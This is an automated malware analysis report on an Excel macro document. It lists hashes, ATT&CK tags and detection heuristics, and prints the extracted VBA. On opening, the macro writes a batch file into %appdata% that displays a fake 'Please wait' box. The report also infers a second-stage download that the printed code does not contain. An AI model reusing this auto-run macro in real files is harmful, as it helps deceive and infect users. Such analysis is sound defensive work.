Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d777d16ccb7e1876…

MALICIOUS

Office (OOXML)

11.5 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-06-20
MD5: 84a770bc9108ec95dfba0c73c1ea07f3 SHA-1: ef2f2e9b7262eb9d21ab94950c61c08f0324c406 SHA-256: d777d16ccb7e1876923530496041813f395a65050231eb879dad8e5f15466e77
168 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1204.002 Malicious File

The VBA macro executes a Workbook_Open subroutine which creates and executes a batch file in the user's %appdata% directory. This batch file displays a fake 'Please wait' message to the user and likely proceeds to download and execute a second-stage payload. The use of WScript.Shell and CreateObject indicates a high likelihood of malicious intent.

Heuristics 5

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set objShell = CreateObject("WScript.Shell")
        fullpath = objShell.ExpandEnvironmentStrings("%appdata%")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set objShell = CreateObject("WScript.Shell")
        fullpath = objShell.ExpandEnvironmentStrings("%appdata%")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Workbook_open()
        Call crear

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1316 bytes
SHA-256: 2b197af42509f1e38aadfa8119b937a37bac53804fac3265ba5943b67a0683ec
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_open()
    Call crear
End Sub

Sub crear()

    Set objShell = CreateObject("WScript.Shell")
    fullpath = objShell.ExpandEnvironmentStrings("%appdata%")
    
    Set objfso = CreateObject("scripting.filesystemobject")
    Set archivotexto = objfso.CreateTextFile(fullpath & "\inr.bat", True)
    
    archivotexto.writeline "@echo off"
    archivotexto.writeblanklines (1)
    archivotexto.writeblanklines (1)
    archivotexto.writeline "echo msgbox ""Please wait "" > %tmp%\tmp.vbs"
    archivotexto.writeline "wscript %tmp%\tmp.vbs"
    archivotexto.writeline "del %tmp%\tmp.vbs"
    archivotexto.writeline "echo  Installing"
    archivotexto.Close
    
End Sub


Attribute VB_Name = "Hoja1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 9728 bytes
SHA-256: c0b29d33211742b3b5fb58a3213874c281bf20affd40881ecbd14b7b160ab429